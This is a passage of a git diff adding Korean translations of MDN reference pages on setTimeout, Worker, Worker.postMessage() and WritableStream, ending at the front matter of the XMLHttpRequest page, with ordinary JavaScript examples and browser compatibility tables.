+setTimeout(myBoundMethod, 1000); // still prints "zero,one,two" after 1 second because of the binding
+setTimeout(myBoundMethod, 1500, "1"); // prints "one" after 1.5 seconds
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>Timeout은 {{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}을 사용하면 취소됩니다. 함수를 반복해서 호출해야 한다면 (e.g., N 밀리초마다), {{domxref("WindowOrWorkerGlobalScope.setInterval()")}} 사용을 고려해보세요.</p>
+
+<p><code>setTimeout()을</code> 호출한 쓰레드가 종료될 때까지 함수나 코드 조각이 실행될 수 없다는 점에 유의해야합니다. 예를들어:</p>
+
+<pre class="brush: js">function foo(){
+  console.log('foo has been called');
+}
+setTimeout(foo, 0);
+console.log('After setTimeout');</pre>
+
+<p>콘솔에 이렇게 쓰여질겁니다:</p>
+
+<pre class="brush: js">After setTimeout
+foo has been called</pre>
+
+<p>그 이유는 <code>setTimeout가 지연시간 0으로</code> 호출되었지만, queue에 배치되어 다음 기회에 실행되도록 예정되기 때문입니다. 현재 실행중인 코드는 queue에 있는 함수들이 실행되기 전에 완료되고, 실행 순서가 예상과 다를 수 있습니다.</p>
+
+<h3 id="문자열을_넘길경우">문자열을 넘길경우</h3>
+
+<p> <code>setTimeout()</code>에<code> </code>함수대신 문자열을 넘기면 <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/eval#Don.27t_use_eval.21">eval</a> </code>사용했을 때와 같은 위험성을 가집니다<code>. </code></p>
+
+<pre class="brush: js">// 권장
+window.setTimeout(function() {
+    alert("Hello World!");
+}, 500);
+
+// 비권장
+window.setTimeout("alert('Hello World!');", 500);
+</pre>
+
+<p><code>setTimeout</code>에 전달된 문자열은 전역 context에서 해석하므로, <code>setTimeout()</code>이 호출된 로컬 context의 Symbol은 문자열이 코드로 해석될 때 사용할 수 없습니다.</p>
+
+<h3 id="지정된_것보다_더_오래_지연되는_이유">지정된 것보다 더 오래 지연되는 이유</h3>
+
+<p>타임아웃이 예상보다 더 늦게까지 지연되는 데는 여러가지 이유가 있습니다. 이 문단에서는 일반적인 이유에 대해서 설명합니다.</p>
+
+<h4 id="중첩된_타임아웃이_4ms_이하일_경우">중첩된 타임아웃이 4ms 이하일 경우</h4>
+
+<p><a class="external" href="http://code.google.com/p/chromium/issues/detail?id=792#c10">역사적으로</a> 브라우저들은 <code>setTimeout()</code> "clamping"을 구현했습니다: "최소 지연" 한계보다 작은 지연을 가진 <code>setTimeout() 호출은</code> 최소 지연을 사용하도록 강제됩니다.</p>
+
+<p>실제로, 4ms는 <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#timers">HTML5 스펙에 명시되어 있고</a> 2010년 이후에 출시된 브라우저들은 일관성을 유지하고 있습니다. {{geckoRelease("5.0")}} 이전에 출시된 브라우저들은, 타임아웃(중첩 5이상)의 최소 지연시간은 10ms였습니다.</p>
+
+<p>최신 브라우저에서 0ms 타임아웃을 구현하려면, <a class="external" href="http://dbaron.org/log/20100309-faster-timeouts">이곳에 설명된</a> {{domxref("window.postMessage()")}}를 사용할 수 있습니다.</p>
+
+<h4 id="비활성_탭에서_타임아웃이1000ms에_여러_번_일어날_경우">비활성 탭에서 타임아웃이1000ms에 여러 번 일어날 경우</h4>
+
+<p>부하와 배터리 사용양을 줄이기 위해서, 비활성화 탭들에서 타임아웃이 1초에 여러번 일어나지 않도록 "clamping" 됩니다.</p>
+
+<p>Firefox는 5버전부터 이 동작을 구현했습니다. ({{bug(633421)}}참고, 1000ms 상수는  <span class="comment-copy"><code>dom.min_background_timeout_value</code> 설정을 통해 수정할 수 있습니다)</span><br>
+ Chrome은  11버전부터 구현했습니다 (<a class="external" href="http://crbug.com/66078">crbug.com/66078</a>).</p>
+
+<p>Android용 Firefox는 {{bug(736602)}} 이후 버전 14부터 백그라운드 탭에 15분의 타임아웃을 사용하고, 완전히 unload도 할 수 있습니다.</p>
+
+<h4 id="타임아웃_지연">타임아웃 지연</h4>
+
+<p>"clamping"과 더불어, 타임아웃은 다른 작업들로 인해 바쁜 페이지에서 늦게 실행될 수 있습니다.</p>
+
+<h3 id="최대_지연_값">최대 지연 값</h3>
+
+<p>Internet Explorer, Chrome, Safari, and Firefox 포함하는 브라우저들은 내부적으로 32-bit 부호있는 정수로 지연 값을 저장합니다. 이로 인해 2147483647보다 더 큰 지연을 사용할 때 정수 오버플로우가 발생하여, 타임아웃이 즉시 실행됩니다.</p>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>사양</th>
+   <th>상태</th>
+   <th>주석</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webappapis.html#dom-settimeout", "WindowTimers.setTimeout()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Initial definition (DOM Level 0)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="지원_브라우저">지원 브라우저</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>기능</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>기본</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>Callback 매개변수 지원<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>기능</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>기본</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>Callback 매개변수 지원<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] 첫번째 form에서 매개변수를 지원하는지에 대한 여부.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<ul>
+ <li><a href="/en-US/Add-ons/Code_snippets/Timers">JavaScript timers</a></li>
+ <li><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Timer.jsm">Timer.jsm</a></li>
+ <li>{{domxref("WindowTimers.clearTimeout")}}</li>
+ <li>{{domxref("WindowTimers.setInterval")}}</li>
+ <li>{{domxref("window.requestAnimationFrame")}}</li>
+ <li><a href="/en-US/Add-ons/Code_snippets/Timers/Daemons"><em>Daemons</em> management</a></li>
+</ul>
diff --git a/files/ko/web/api/worker/index.html b/files/ko/web/api/worker/index.html
new file mode 100644
index 0000000000..7eb924f469
--- /dev/null
+++ b/files/ko/web/api/worker/index.html
@@ -0,0 +1,129 @@
+---
+title: Worker
+slug: Web/API/Worker
+tags:
+  - API
+  - DOM
+  - Interface
+  - JavaScript
+  - Reference
+  - Web Workers
+  - Worker
+  - 워커
+  - 웹 워커
+translation_of: Web/API/Worker
+---
+<div>{{APIRef("Web Workers API")}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/API/Web_Workers_API">Web Workers API</a>의<strong> <code>Worker</code></strong> 인터페이스는 스크립트로 생성하고, 생성자와 메시지로 통신하는 백그라운드 작업을 나타냅니다.</span> 워커의 생성은 <code>Worker("path/to/worker/script")</code> 생성자를 통해 할 수 있습니다.</p>
+
+<p>워커는 부모 페이지와 같은 {{glossary("origin", "출처")}}에 호스팅 된 다른 워커를 생성할 수 있습니다. (참고: <a href="https://bugs.webkit.org/show_bug.cgi?id=22723">WebKit은 아직 중첩 워커를 구현하지 않았습니다.</a>)</p>
+
+<p><a href="/ko/docs/Web/API/Web_Workers_API/Functions_and_classes_available_to_workers"><code>Worker</code> 내에서 사용할 수 있는 인터페이스와 함수</a>는 제한돼있습니다. 워커는 {{domxref("XMLHttpRequest")}}를 사용해 네트워크 통신을 할 수 있지만, 응답의 <code>responseXML</code>과 <code>channel</code> 특성은 항상 {{jsxref("null")}}입니다. (<code><a href="/ko/docs/Web/API/Fetch_API">fetch</a></code>는 이러한 제한 없이 사용할 수 있습니다.)</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("Worker.Worker", "Worker()")}}</dt>
+ <dd>주어진 URL의 스크립트를 실행하는 전용 웹 워커를 생성합니다. <a href="/ko/docs/Web/API/Blob">Blob URL</a>도 사용할 수 있습니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p>부모 {{domxref("EventTarget")}}에서 속성을 상속하고, {{domxref("AbstractWorker")}}의 속성을 구현합니다.</p>
+
+<h3 id="이벤트_처리기">이벤트 처리기</h3>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd><code>error</code> 유형의 {{domxref("ErrorEvent")}}가 워커로 확산되면 호출할 {{domxref("EventListener")}}입니다. {{domxref("AbstractWorker")}}에서 상속합니다.</dd>
+ <dt>{{domxref("Worker.onmessage")}}</dt>
+ <dd><code>message</code> 유형의 {{domxref("MessageEvent")}}가 워커로 확산되면, 즉 {{domxref("DedicatedWorkerGlobalScope.postMessage")}}를 통해 워커에서 부모 문서로 메시지를 전송하면 호출할 {{domxref("EventListener")}}입니다. 메시지는 {{domxref("MessageEvent.data", "data")}} 속성에 들어있습니다.</dd>
+ <dt>{{domxref("Worker.onmessageerror")}}</dt>
+ <dd>{{event("messageerror")}} 이벤트가 발생하면 호출할 {{domxref("EventHandler")}}입니다.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p>부모 {{domxref("EventTarget")}}에서 메서드를 상속하고, {{domxref("AbstractWorker")}}의 메서드를 구현합니다.</p>
+
+<dl>
+ <dt>{{domxref("Worker.postMessage()")}}</dt>
+ <dd>워커의 내부 범위로 메시지를 전송합니다. 메시지는 임의의 JavaScript 객체입니다.</dd>
+ <dt>{{domxref("Worker.terminate()")}}</dt>
+ <dd>워커를 즉시 종료합니다. 현재 워커가 연산을 진행 중이더라도 완료를 기다리지 않습니다. {{domxref("ServiceWorker")}} 인스턴스는 이 메서드를 지원하지 않습니다.</dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<dl>
+ <dt><code><a href="/ko/docs/Web/API/Worker/message_event">message</a></code></dt>
+ <dd>워커의 부모가 워커로부터 메시지를 수신했을 대 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/Worker/onmessage">onmessage</a></code> 속성에서도 사용 가능합니다.</dd>
+ <dt><code><a href="/ko/docs/Web/API/Worker/messageerror_event">messageerror</a></code></dt>
+ <dd><code>Worker</code> 객체가 <a href="/ko/docs/Web/API/Web_Workers_API/Structured_clone_algorithm">역직렬화</a> 할 수 없는 객체를 메시지로 받았을 대 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/Worker/onmessageerror">onmessageerror</a></code> 속성에서도 사용 가능합니다.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/ko/docs/Web/API/Window/rejectionhandled_event">rejectionhandled</a></code></dt>
+ <dd>{{jsxref("Promise")}}가 거부될 때마다 발생합니다. 거부를 처리할 처리기의 존재 유무는 고려하지 않습니다.<br>
+ <code><a href="/ko/docs/Web/API/WindowEventHandlers/onrejectionhandled">onrejectionhandled</a></code> 속성에서도 사용 가능합니다.</dd>
+ <dt><code><a href="/ko/docs/Web/API/Window/unhandledrejection_event">unhandledrejection</a></code></dt>
+ <dd>{{jsxref("Promise")}}가 거부됐는데, 처리할 처리기가 없을 때 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/WindowEventHandlers/onunhandledrejection">onunhandledrejection</a></code> 속성에서도 사용 가능합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드 조각은 {{domxref("Worker.Worker", "Worker()")}} 생성자를 사용해 <code>Worker</code> 객체를 생성한 후, 그 <code>Worker</code>를 사용합니다.</p>
+
+<pre class="brush: js notranslate">var myWorker = new Worker("worker.js");
+var first = document.querySelector('#number1');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}</pre>
+
+<p>전체 예제를 보시려면 저희의 <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">simple-web-worker 예제</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">라이브</a>)를 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#worker", "Worker")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>워커의 종류마다 지원 상황이 다릅니다. 각각의 페이지를 방문해 더 자세히 알아보세요.</p>
+
+
+
+<p>{{Compat("api.Worker")}}</p>
+
+<h3 id="교차_출처에서의_워커_오류_동작">교차 출처에서의 워커 오류 동작</h3>
+
+<p>초기 명세에서는 교차 출처 워커 스크립트를 불러오려 시도하면 <code>SecurityError</code>가 발생했습니다. 요즘은 오류 대신 {{event("error")}} 이벤트가 발생합니다. <a href="https://www.fxsitecompat.com/en-CA/docs/2016/loading-cross-origin-worker-now-fires-error-event-instead-of-throwing-worker-in-sandboxed-iframe-no-longer-allowed/">이 글</a>에서 교차 출처 처리 방법을 알아보세요.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/ko/docs/Web/API/Web_Workers_API/Using_web_workers" title="en/Using DOM workers">웹 워커 사용하기</a></li>
+ <li><a href="/ko/docs/Web/API/Web_Workers_API/Functions_and_classes_available_to_workers" title="https://developer.mozilla.org/En/DOM/Worker/Functions_available_to_workers">워커에서 사용할 수 있는 함수와 클래스</a></li>
+ <li>다른 종류의 워커: {{domxref("SharedWorker")}}와 <a href="/ko/docs/Web/API/Service_Worker_API">서비스 워커</a>.</li>
+</ul>
diff --git a/files/ko/web/api/worker/postmessage/index.html b/files/ko/web/api/worker/postmessage/index.html
new file mode 100644
index 0000000000..5e6053407d
--- /dev/null
+++ b/files/ko/web/api/worker/postmessage/index.html
@@ -0,0 +1,205 @@
+---
+title: Worker.postMessage()
+slug: Web/API/Worker/postMessage
+translation_of: Web/API/Worker/postMessage
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>{{domxref("Worker")}} interface의 메서드, <code><strong>postMessage()</strong></code>는 <code>Worker</code> 자신의 내부 영역으로 메시지를 전달합니다. 이 메서드는 <code>Worker</code> 자신에게 보낼 하나의 매개변수를 받습니다. 매개변수로 들어갈 데이터는 순환 참조를 포함하는 <a href="/en-US/docs/Web/Guide/DOM/The_structured_clone_algorithm" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-dom-interfaces.html#transferable">structured clone</a> algorithm에 의해 다루어지는 JavaScript 객체를 포함에 어떤 값이든 들어갈 수 있습니다.</p>
+
+<p> <code>Worker</code>는 정보를 다시 {{domxref("DedicatedWorkerGlobalScope.postMessage")}} 메서드를 사용해 받은 정보를 산란시키는 스레드로 전달해줄 수 있다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">myWorker.postMessage(aMessage, transferList);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>aMessage</em></dt>
+ <dd>worker로 전해 줄 객체;  이 매개변수는 {{domxref("DedicatedWorkerGlobalScope.onmessage")}} 이벤트 핸들러로 전해질 이벤트의 데이터 필드에 들어갈 것이다. 순환 참조를 포함하는 <a href="/en-US/docs/Web/Guide/DOM/The_structured_clone_algorithm" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-dom-interfaces.html#transferable">structured clone</a> 알고리즘에 의해 다루어지는 JavaScript 객체 혹은 어떤 값이라도 이 매개변수에 들어갈 수 있다.</dd>
+ <dt><em>transferList</em> {{optional_inline}}</dt>
+ <dd>An optional <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">array</a> of {{domxref("Transferable")}} objects to transfer ownership of. If the ownership of an object is transferred, it becomes unusable (<em>neutered</em>) in the context it was sent from and becomes available only to the worker it was sent to.</dd>
+ <dd>Transferable objects are instances of classes like {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}} or {{domxref("ImageBitmap")}} objects can be transferred. <code>null</code> is not an acceptable value for the <code>transferList</code>.</dd>
+</dl>
+
+<h3 id="Returns">Returns</h3>
+
+<p>Void.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>The following code snippet shows the creation of a {{domxref("Worker")}} object using the {{domxref("Worker.Worker", "Worker()")}} constructor. When either of two form inputs (<code>first</code> and <code>second</code>) have their values changed, {{event("change")}} events invoke <code>postMessage()</code> to send the value of both inputs to the current worker.</p>
+
+<pre class="brush: js">var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+</pre>
+
+<p>For a full example, see our<a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>).</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>postMessage()</code> can only send a single object at once. As seen above, if you want to pass multiple values you can send an array.</p>
+</div>
+
+<h3 id="Transfer_Example">Transfer Example</h3>
+
+<p>This example shows a Firefox add-on that transfers an <code>ArrayBuffer</code> from the main thread to the <code>ChromeWorker</code>, and then the <code>ChromeWorker</code> transfers it back to the main thread.</p>
+
+<h4 id="Main_thread_code">Main thread code:</h4>
+
+<pre class="brush: js">var myWorker = new ChromeWorker(self.path + 'myWorker.js');
+
+function handleMessageFromWorker(msg) {
+    console.log('incoming message from worker, msg:', msg);
+    switch (msg.data.aTopic) {
+        case 'do_sendMainArrBuff':
+            sendMainArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'no aTopic on incoming message to ChromeWorker';
+    }
+}
+
+myWorker.addEventListener('message', handleMessageFromWorker);
+
+// Ok lets create the buffer and send it
+var arrBuf = new ArrayBuffer(8);
+console.info('arrBuf.byteLength pre transfer:', arrBuf.byteLength);
+
+myWorker.postMessage(
+    {
+        aTopic: 'do_sendWorkerArrBuff',
+        aBuf: arrBuf // The array buffer that we passed to the transferrable section 3 lines below
+    },
+    [
+        arrBuf // The array buffer we created 9 lines above
+    ]
+);
+
+console.info('arrBuf.byteLength post transfer:', arrBuf.byteLength);
+</pre>
+
+<h4 id="Worker_code">Worker code</h4>
+
+<pre class="brush: js">self.onmessage = function (msg) {
+    switch (msg.data.aTopic) {
+        case 'do_sendWorkerArrBuff':
+                sendWorkerArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'no aTopic on incoming message to ChromeWorker';
+    }
+}
+
+function sendWorkerArrBuff(aBuf) {
+    console.info('from worker, PRE send back aBuf.byteLength:', aBuf.byteLength);
+
+    self.postMessage({aTopic:'do_sendMainArrBuff', aBuf:aBuf}, [aBuf]);
+
+    console.info('from worker, POST send back aBuf.byteLength:', aBuf.byteLength);
+}
+</pre>
+
+<h4 id="Output_logged">Output logged</h4>
+
+<pre>arrBuf.byteLength pre transfer: 8                              bootstrap.js:40
+arrBuf.byteLength post transfer: 0                             bootstrap.js:42
+
+from worker, PRE send back aBuf.byteLength: 8                  myWorker.js:5:2
+
+incoming message from worker, msg: message { ... }             bootstrap.js:20
+got back buf in main thread, aBuf.byteLength: 8                bootstrap.js:12
+
+from worker, POST send back aBuf.byteLength: 0                 myWorker.js:7:2</pre>
+
+<p><code>byteLength</code> goes to 0 as it is transferred. To see a full working example of this Firefox demo add-on see here: <a href="https://github.com/Noitidart/ChromeWorker/tree/aca57d9cadc4e68af16201bdecbfb6f9a6f9ca6b">GitHub :: ChromeWorker - demo-transfer-arraybuffer</a></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-worker-postmessage", "Worker.postMessage()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10.0 [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10.0 [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer does not support {{domxref("Transferable")}} objects.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("Worker")}} interface it belongs to.</li>
+</ul>
diff --git a/files/ko/web/api/writablestream/index.html b/files/ko/web/api/writablestream/index.html
new file mode 100644
index 0000000000..d4496f4ad2
--- /dev/null
+++ b/files/ko/web/api/writablestream/index.html
@@ -0,0 +1,144 @@
+---
+title: WritableStream
+slug: Web/API/WritableStream
+translation_of: Web/API/WritableStream
+---
+<p>{{SeeCompatTable}}{{APIRef("Streams")}}</p>
+
+<p><a href="/en-US/docs/Web/API/Streams_API">Streams API</a>의 <strong><code>WritableStream</code></strong>는 지정된 곳에 스트림 데이터를 writing하기 위한 싱크 추상 인터페이스입니다. 이 객체는 내장 백프레셔와 큐잉으로 구성되어 있다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("WritableStream.WritableStream", "WritableStream()")}}</dt>
+ <dd>새 <code>WritableStream</code> 오브젝트를 생성한다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("WritableStream.locked")}} {{readonlyinline}}</dt>
+ <dd><code>WritableStream</code>의 locked 여부를 boolean 값으로 반환한다. </dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("WritableStream.abort()")}}</dt>
+ <dd>스트림을 중단한다. 생산자에게 더 이상 쓰기 스트림을 사용할 수 없으며 에러 상태로 전한됨을 고지한다. 큐잉되어 있던 모든 쓰기 작업은 소실된다.</dd>
+ <dt>{{domxref("WritableStream.getWriter()")}}</dt>
+ <dd>새 {{domxref("WritableStreamDefaultWriter")}} 인스턴스를 반환하고 스트림에 락을 건다. 스트림에 락이 걸린 동안에는 해제하기 전까지 다른 writer를 요청할 수 없다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>아래 예시는 본 인터페이스의 몇 가지 기능을 소개합니다. 커스텀 콜백과 API를 통한 queuing strategy 값을 가지고 <code>WritableStream</code>을 생성하는 법을 보여줍니다. 그 후 생성된 스트림과 문자열을 전달하여 <code>sendMessage()</code>를 합니다. 함수 내부에선 {{domxref("WritableStreamDefaultWriter")}} 인스턴스를 반환하는 스트림의 <code>getWriter()</code> 메소드를 호출합니다. 문자열 조각들을 각각 스트림에 쓰기 위해 <code>forEach()</code> 를 사용하구요. 마지막으로 문자열 조각과 스트림 성공/실패를 처리하기 위해 <code>write()</code>와 <code>close()</code>는 Promise를 반환합니다.</p>
+
+<ul>
+</ul>
+
+<pre class="brush: js">const list = document.querySelector('ul');
+
+function sendMessage(message, writableStream) {
+  // defaultWriter is of type WritableStreamDefaultWriter
+  const defaultWriter = writableStream.getWriter();
+  const encoder = new TextEncoder();
+  const encoded = encoder.encode(message, { stream: true });
+  encoded.forEach((chunk) =&gt; {
+    defaultWriter.ready
+      .then(() =&gt; {
+        return defaultWriter.write(chunk);
+      })
+      .then(() =&gt; {
+        console.log("Chunk written to sink.");
+      })
+      .catch((err) =&gt; {
+        console.log("Chunk error:", err);
+      });
+  });
+  // Call ready again to ensure that all chunks are written
+  //   before closing the writer.
+  defaultWriter.ready
+    .then(() =&gt; {
+      defaultWriter.close();
+    })
+    .then(() =&gt; {
+      console.log("All chunks written");
+    })
+    .catch((err) =&gt; {
+      console.log("Stream error:", err);
+    });
+}
+
+const decoder = new TextDecoder("utf-8");
+const queuingStrategy = new CountQueuingStrategy({ highWaterMark: 1 });
+let result = "";
+const writableStream = new WritableStream({
+  // Implement the sink
+  write(chunk) {
+    return new Promise((resolve, reject) =&gt; {
+      var buffer = new ArrayBuffer(2);
+      var view = new Uint16Array(buffer);
+      view[0] = chunk;
+      var decoded = decoder.decode(view, { stream: true });
+      var listItem = document.createElement('li');
+      listItem.textContent = "Chunk decoded: " + decoded;
+      list.appendChild(listItem);
+      result += decoded;
+      resolve();
+    });
+  },
+  close() {
+    var listItem = document.createElement('li');
+    listItem.textContent = "[MESSAGE RECEIVED] " + result;
+    list.appendChild(listItem);
+  },
+  abort(err) {
+    console.log("Sink error:", err);
+  }
+}, queuingStrategy);
+
+sendMessage("Hello, world.", writableStream);</pre>
+
+<p><a href="https://mdn.github.io/dom-examples/streams/simple-writer/">Simple writer example</a>에서 전체 코드를 볼 수 있습니다.</p>
+
+<h3 id="백프레셔(배압)">백프레셔(배압)</h3>
+
+<p>API 내부에서 백프레셔가 어떻게 구현되어 있는지에 따라 코드가 보기에 영 깔끔하지 않을 수 있습니다. 세 가지 관점에서 백프레셔가 어떻게 구현되어 있는지 알아봅시다.</p>
+
+<ul>
+ <li>Counting strategy를 생성할 때 35라인에서 지정 된 <code>highWaterMark</code> 프로퍼티는 <code>write()</code>를 한 번 호출할때 <code>WritableStream</code>가 처리할 수 있는 최대 데이터량을 지정합니다. 이 예시에선 <code>defaultWriter.write()</code> 에 처리할 수 있는 최대량이 전달됩니다 (line 9).</li>
+ <li><code>writer.ready</code>프로퍼티는 <code>(WritableStream</code> 생성자의 첫 번째 파라미터로 전달 된) 콜백 객체가 데이터 쓰기를 완료했을 때 resolved되는 Promise를 반환합니다. 데이터 소스는 추가 데이터를 write하거나 (line 9) <code>close()</code> 를 호출할 수 있습니다(line 21). close()를 빨리 호출하면 더 이상 데이터를 쓸 수 없게 막을 수 있습니다. 예시에서  <code>writer.ready</code>를 두 번 호출한 이유입니다 (lines 7 and 19). </li>
+ <li>콜백 객체의  <code>write()</code>가 반환한 {{jsxref("Promise")}}는 <code>WritableStream</code>과 그 writer가 <code>writer.ready</code>를 언제 resolve 해야 할 지 알려줍니다.</li>
+</ul>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Streams','#ws-class','WritableStream')}}</td>
+   <td>{{Spec2('Streams')}}</td>
+   <td>최초 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.WritableStream")}}</p>
+</div>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="https://whatwg-stream-visualizer.glitch.me/">WHATWG Stream Visualiser</a>, redable, writable 스트림 및 스트림간 변환을 시각화 한 예시.</li>
+</ul>
diff --git a/files/ko/web/api/xmlhttprequest/index.html b/files/ko/web/api/xmlhttprequest/index.html
new file mode 100644
index 0000000000..43437969b0
--- /dev/null
+++ b/files/ko/web/api/xmlhttprequest/index.html
@@ -0,0 +1,194 @@
+---
+title: XMLHttpRequest
+slug: Web/API/XMLHttpRequest
+tags:
+  - AJAX
+  - API
+  - HTTP
+  - XHR
+  - XMLHttpRequest
+  - 레퍼런스
+  - 웹
+  - 인터페이스
+  - 통신
+translation_of: Web/API/XMLHttpRequest
+---
